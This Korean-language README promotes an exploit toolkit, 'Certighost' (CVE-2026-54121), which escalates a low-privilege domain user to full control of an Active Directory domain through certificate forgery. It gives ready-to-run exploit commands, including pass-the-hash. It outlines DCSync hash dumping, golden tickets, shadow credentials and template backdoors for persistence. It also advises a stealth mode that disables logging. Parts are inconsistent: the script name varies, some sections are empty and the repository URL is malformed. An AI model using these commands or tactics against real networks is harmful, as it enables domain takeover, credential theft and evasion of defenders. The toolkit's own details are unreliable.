CVE-2026-54121 - AD CS "Certighost" 권한 상승 프레임워크-툴킷

Active Directory Certificate Services — Certighost → 도메인 장악

익스플로잇 프레임워크 및 감사 툴킷
공인된 보안 테스트 전용입니다.

⚖️ 법적 고지 및 책임 있는 사용

이 도구는 교육 및 공인된 침투 테스트 목적으로만 제공됩니다. 저자와 기여자는 이 소프트웨어로 인해 발생하는 오용이나 손해에 대해 책임을 지지 않습니다. 사용자는 테스트 전에 대상 소유자로부터 명시적인 서면 허가를 받았는지 전적으로 책임을 집니다. 승인되지 않은 컴퓨터 시스템 접근은 관련 연방, 주 및 국제 사이버 범죄 법률에 따라 불법입니다. 이 소프트웨어를 사용함으로써 귀하는 다음 사항에 동의합니다:

• 소유하거나 테스트할 명시적 허가를 받은 시스템에서만 사용할 것.
• 모든 관련 지방, 주 및 연방 법률을 준수할 것.
• 악의적, 파괴적 또는 불법 활동에 사용하지 않을 것.

⚠️ 경고: Active Directory 권한 상승 취약점은 엔터프라이즈 인프라에 높은 위험을 초래합니다. 승인되지 않은 테스트는 엄격히 금지됩니다.

[+!] 취약점 개요

CVE-2026-54121 (코드명 "Certighost")은 Microsoft Active Directory Certificate Services (AD CS)의 권한 상승 (EoP) 취약점입니다. 이 취약점으로 인해 낮은 권한의 도메인 사용자가 도메인 컨트롤러 머신 계정을 가장하고 인증서 위조를 통해 완전한 도메인 관리자 장악을 달성할 수 있습니다.

작동 방식:

1. 대상 검증 우회: 이 취약점은 AD CS가 인증서 요청 대상 매개변수를 처리하는 동안 부적절한 권한 부여 검사(CWE-285)로 인해 발생합니다.
2. 로그 서버 리디렉션: 인증 기관(CA)은 대상이 공인된 도메인 컨트롤러인지 확인하지 않고 클라이언트가 제공한 서버 리디렉션 대상을 수락합니다.
3. 도메인 컨트롤러 가장: CA는 공격자가 제어하는 서버를 쿼리하고 권한 있는 도메인 컨트롤러의 ID로 서명된 유효한 컴퓨터 인증서를 발급합니다.
4. 도메인 장악 (DCSync): 위조된 DC 인증서를 사용하여 공격자는 Kerberos/PKINIT를 통해 인증하여 도메인 컨트롤러 권한을 얻고 DCSync 작업을 실행합니다.

주요 사실:

경고! 🌬️

이 코드는 사용자 친화적인 접근 방식을 염두에 두고 작성되었으며 완전히 작동하며 보안, 개인 정보 보호 및 최소 로깅을 우선시합니다. Shodan 통합 및 라이브러리를 완전히 제거하고, 스레드 풀 대신 단일 스레드를 사용하고, 포트 스캔 및 detect_ip를 제거하고, 로깅 및 출력을 비활성화하는 것이 좋습니다. 이 버전에는 "stealthcert.py" 를 사용하십시오.

CVE-2026-54121 CertiGhost - 매개변수 참조

📋 전체 매개변수 목록

Python 익스플로잇 매개변수

stealthcare.py (안전한 익스플로잇)

PowerShell 래퍼 매개변수

🚀 사용 예시

git clone https://tc4dy/CVE-2026-54121-PoC-Exploit
#install requirements

예시 ❄️

# LDAP를 통해 CA를 자동 검색하고, 임시 컴퓨터를 생성하고, 로그 서버를 실행하고, cdc 리디렉션으로 인증서를 요청하고, PKINIT를 통해 DC의 NT 해시를 추출하고, 도메인 장악을 위해 DCSync를 활성화합니다
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10

# 특정 도메인 컨트롤러(DC01$)를 가장합니다. 정확히 어떤 DC를 대상으로 할지 알고 있을 때 유용합니다. 자동 검색을 우회합니다
python3 certighost.py -d corp.local -u user -p Passw0rd --dc-ip 10.0.0.1 --target-san DC01$

# 비밀번호 대신 NTLM 해시를 사용합니다. 비밀번호는 모르지만 해시를 얻은 경우에 작동합니다. 해시 앞의 ':' = 빈 LM 해시
python3 certighost.py -d domain.local -u admin --hashes :8846f7eaee8fb117ad06bdd830b7586c --dc-ip 192.168.1.10

# LDAP CA 검색을 우회합니다. 명시적으로 제공된 CA IP와 이름을 사용합니다. LDAP가 제한되거나 CA가 다른 서브넷에 있을 때 유용합니다
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10 --ca-ip 192.168.1.20 --ca "PLAYGROUND-CA"

Powershell (탐지)

# AD CS가 존재하는지 확인하는 기본 LDAP 쿼리입니다. CA 이름과 DNS를 반환합니다. 읽기 전용이며 프로덕션 환경에 안전합니다. 익스플로잇은 수행되지 않습니다
.\CertiGhost.ps1 -d playground.local --dc-ip 192.168.1.10 --username lowpriv -p Password123 --detect

Python 백엔드 익스플로잇

# 기본 AD CS 탐지를 실행한 다음 모든 매개변수와 함께 Python certighost.py를 호출합니다. 같은 디렉토리에 certighost.py가 필요합니다. NT 해시와 ccache 파일을 출력합니다
.\CertiGhost.ps1 -d corp.local --dc-ip 10.0.0.1 --username attacker -p P@ssw0rd --exploit --target-account DC01$

JSON 저장, 탐지 모드

#탐지만 수행하는 모드입니다. 결과를 JSON 형식으로 저장합니다. 자동화, 보고 및 다른 보안 도구와의 통합에 유용합니다
.\CertiGhost.ps1 -d domain.local --dc-ip 192.168.1.10 --username user -p pass --detect -o results.json

🧠 기술 심층 분석

1. AD CS 대상 검증 우회 (Certighost)

이 취약점은 인증서 등록 프로세스 중 Active Directory Certificate Services (AD CS) 내의 부적절한 권한 부여 및 검증 검사(CWE-285)에서 비롯됩니다. 낮은 권한의 도메인 자격 증명을 가진 공격자는 대상 리디렉션 매개변수를 조작하여 인증 기관(CA)이 로그 엔드포인트에 대해 ID 주장을 검증하도록 속일 수 있습니다.

취약한 엔드포인트 / 요청 컨텍스트:

POST /certsrv/mscep/mscep.dll HTTP/1.1
Host: ca-server.domain.local
Content-Type: application/x-www-form-urlencoded

... (조작된 target/cdc 매개변수가 포함된 인증서 요청 페이로드)

2. 공격 벡터

• 추적 대상 조작: 공격자는 인증서 요청 내의 대상 리디렉션 매개변수(예: cdc / 추적 대상)를 수정하여 인증 기관(CA)이 검증 트래픽을 지정된 엔드포인트로 라우팅하도록 강제합니다.

• 로그 서버 리디렉션: 인증 기관(CA)은 대상이 합법적이고 공인된 도메인 컨트롤러인지 확인하지 않고 클라이언트가 제공한 대상에 LDAP 또는 SMB 연결을 시작합니다.

• DC ID 위조 및 인증서 발급: 공격자가 제어하는 로그 서버는 대상 도메인 컨트롤러 계정을 대신하여 CA가 발행한 검증 쿼리에 응답합니다. 이 응답에 의존하여 CA는 도메인 컨트롤러의 ID를 담은 유효한 서명된 인증서를 발급합니다.

3. 사후 익스플로잇

티켓 부여 티켓 (TGT) 획득

획득한 도메인 컨트롤러 인증서를 사용하여 PKINIT(초기 인증을 위한 공개 키 암호화)를 통해 Kerberos 인증을 수행하여 높은 권한의 TGT를 획득합니다.

DCSync 공격

도메인 컨트롤러 권한을 가진 Kerberos 티켓을 사용하여 Active Directory 데이터베이스의 모든 계정(예: krbtgt, Administrator)에 대한 비밀번호 해시를 DCSync 기술을 통해 추출합니다.

지속성

• 골든 티켓 생성: 추출된 krbtgt 계정 비밀번호 해시를 사용하여 필요 시 TGT를 위조합니다.
• 섀도 자격 증명: 대상 계정의 msDS-KeyCredentialLink 속성에 승인되지 않은 인증서 키를 추가하여 지속적인 접근을 확보합니다.
• 인증서 템플릿 조작: 향후 권한 상승을 허용하는 백도어 구성을 유지하기 위해 AD CS 템플릿 권한을 변경합니다.

측면 이동

• 도메인 지배: 도메인 내 모든 서버와 워크스테이션에 완전한 권한(SYSTEM / 도메인 관리자) 세션을 설정합니다.
• 포리스트 간 피벗: SID History 또는 TGT 위임 기술을 사용하여 신뢰하는 도메인(포리스트 트러스트)으로의 이동을 달성합니다.

📚 참고 자료

• NVD - CVE-2026-54121
• Microsoft 보안 업데이트 가이드 - CVE-2026-54121
• CERT/CC 취약점 노트
• MITRE ATT&CK - T1649: 인증 인증서 도용 또는 위조

🔗 기타 익스플로잇

• CVE-2026-15409/15410 - SonicWall SMA1000 멀티 익스플로잇 프레임워크
• CVE-2026-6875 - ServiceNow 사전 인증 RCE 익스플로잇 프레임워크
• CVE-2026-41091 - SolarFlare (RedSun) Microsoft Defender LPE
• CVE-2026-57821 - Apache Fineract SQL 인젝션 툴킷
• CVE-2026-41940 - cPanel/WHM 인증 우회